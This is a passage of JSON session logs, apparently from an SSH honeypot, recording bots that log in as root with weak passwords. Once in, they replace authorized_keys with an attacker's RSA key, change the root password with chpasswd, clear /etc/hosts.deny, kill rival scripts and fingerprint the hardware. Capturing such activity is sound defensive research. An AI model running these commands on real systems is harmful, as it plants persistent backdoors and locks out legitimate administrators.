ls)"},{"seq":12,"at":"2026-08-26T12:25:56.198235+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:25:57.093173+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:25:57.852552+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:25:58.714269+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:25:59.505220+00:00","kind":"output","latency_ms":null,"data":" 12:25:59 up 6 days, 9:16, 0 user, load average: 0.09, 0.08, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:26:00.393806+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:26:00.915283+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:26:01.793655+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:26:02.364865+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:26:03.223480+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:26:03.717730+00:00","kind":"output","latency_ms":null,"data":"top - 12:26:03 up 6 days, 9:16, 0 user, load average: 0.09, 0.08, 0.09\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:26:04.596782+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:26:05.363519+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:26:06.224658+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:26:06.683705+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:26:07.565675+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:26:08.435450+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:26:09.298509+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:26:10.747965+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:26:11.601320+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:26:12.695250+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"wang123","method":"password","accepted":true,"tier":"other"}]} {"id":"a79afc1b-5d67-4372-91b6-cf26228ad2c8","name":"verdant-lanky-wallaby","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":46502,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":859,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:23:35.889598+00:00","ended_at":"2026-08-26T12:23:37.501096+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T12:23:05.257589+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:23:06.098591+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:23:13.562465+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:23:13.931569+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:23:14.790062+00:00","kind":"input","latency_ms":null,"data":"echo \"root:QSW11Mvq8Bv8\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:23:15.654966+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:23:16.492344+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:23:17.302068+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:23:18.190093+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:23:18.988413+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:23:19.830093+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:23:21.190321+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:23:22.054644+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:23:22.725014+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:23:23.624207+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:23:23.949509+00:00","kind":"output","latency_ms":null,"data":" 12:23:23 up 6 days, 9:13, 0 user, load average: 0.09, 0.1, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:23:24.795511+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:23:25.631123+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:23:26.491418+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:23:26.991593+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:23:27.856163+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:23:28.738478+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:28 up 6 days, 9:13, 0 user, load average: 0.09, 0.1, 0.06\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:23:29.592184+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:23:30.372060+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:23:31.210528+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:23:31.531496+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:23:32.392137+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:23:32.755242+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:23:33.592491+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:23:35.012748+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:23:35.890395+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:23:37.233739+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1a2b3c4d@","method":"password","accepted":true,"tier":"other"}]} {"id":"8214b350-ff89-48e2-8fc9-1322ba610469","name":"proud-granite-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":45894,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":841,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:15:22.489710+00:00","ended_at":"2026-08-26T12:15:23.905239+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2282,"events":[{"seq":1,"at":"2026-08-26T12:14:53.416587+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:14:54.244731+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:15:00.844737+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:15:01.285170+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:15:02.109235+00:00","kind":"input","latency_ms":null,"data":"echo \"root:W1urRkpubLxT\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:15:02.954085+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:15:03.789859+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:15:04.298039+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:15:05.145839+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:15:05.914124+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:15:06.747577+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:15:08.002045+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:15:08.847872+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:15:09.644612+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:15:10.483407+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:15:10.943570+00:00","kind":"output","latency_ms":null,"data":" 12:15:10 up 6 days, 9:05, 0 user, load average: 0.14, 0.13, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:15:11.786254+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:15:12.250022+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:15:13.087957+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:15:13.432738+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:15:14.284539+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:15:15.109418+00:00","kind":"output","latency_ms":null,"data":"top - 12:15:15 up 6 days, 9:05, 0 user, load average: 0.14, 0.13, 0.17\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:15:15.946837+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:15:16.840383+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:15:17.683910+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:15:18.034569+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:15:18.882903+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:15:19.633021+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:15:20.482799+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:15:21.660090+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:15:22.490254+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:15:23.641948+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"hpinvent","method":"password","accepted":true,"tier":"other"}]} {"id":"41ec9c90-cb07-4820-bc0c-b2b99517f0b6","name":"chilly-ancient-fossa","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":45700,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":857,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:12:36.692031+00:00","ended_at":"2026-08-26T12:12:38.092738+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2271,"events":[{"seq":1,"at":"2026-08-26T12:12:05.061898+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:12:05.914432+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:12:13.964653+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:12:14.780837+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:12:15.630834+00:00","kind":"input","latency_ms":null,"data":"echo \"root:XWqNCOLDLP0d\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:12:16.502915+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:12:17.396610+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:12:18.199111+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:12:19.093482+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:12:19.988149+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:12:20.861287+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:12:21.682901+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:12:22.591364+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:12:23.256356+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:12:24.106781+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:12:24.872820+00:00","kind":"output","latency_ms":null,"data":" 12:12:24 up 6 days, 9:02, 0 user, load average: 0.15, 0.12, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:12:25.722685+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:12:26.272648+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:12:27.122581+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:12:27.875592+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:12:28.726529+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:12:29.558104+00:00","kind":"output","latency_ms":null,"data":"top - 12:12:29 up 6 days, 9:02, 0 user, load average: 0.15, 0.12, 0.15\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:12:30.414096+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:12:30.813683+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:12:31.694091+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:12:31.980166+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:12:32.860986+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:12:33.539662+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:12:34.396744+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:12:35.794662+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:12:36.692774+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:12:37.810281+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"zaq1!QAZ","method":"password","accepted":true,"tier":"other"}]} {"id":"e0c20725-4736-4499-b6ce-c3d0651e2e49","name":"seaward-rapid-agouti","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":41226,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":589,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:12:32.222078+00:00","ended_at":"2026-08-26T12:12:33.043134+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T12:12:02.958904+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:12:03.956258+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:12:20.338102+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:12:20.338781+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:12:21.324284+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qAReB74Wichb\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:12:21.910805+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:12:22.499733+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:12:22.500258+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:12:23.089596+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:12:23.657016+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:12:24.248415+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:12:24.754955+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:12:25.344554+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:12:25.345268+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:12:25.934237+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:12:25.934836+00:00","kind":"output","latency_ms":null,"data":" 12:12:25 up 6 days, 9:02, 0 user, load average: 0.09, 0.1, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:12:26.523948+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:12:26.524388+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:12:27.515967+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:12:27.516616+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:12:28.106185+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:12:28.106718+00:00","kind":"output","latency_ms":null,"data":"top - 12:12:28 up 6 days, 9:02, 0 user, load average: 0.09, 0.1, 0.07\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 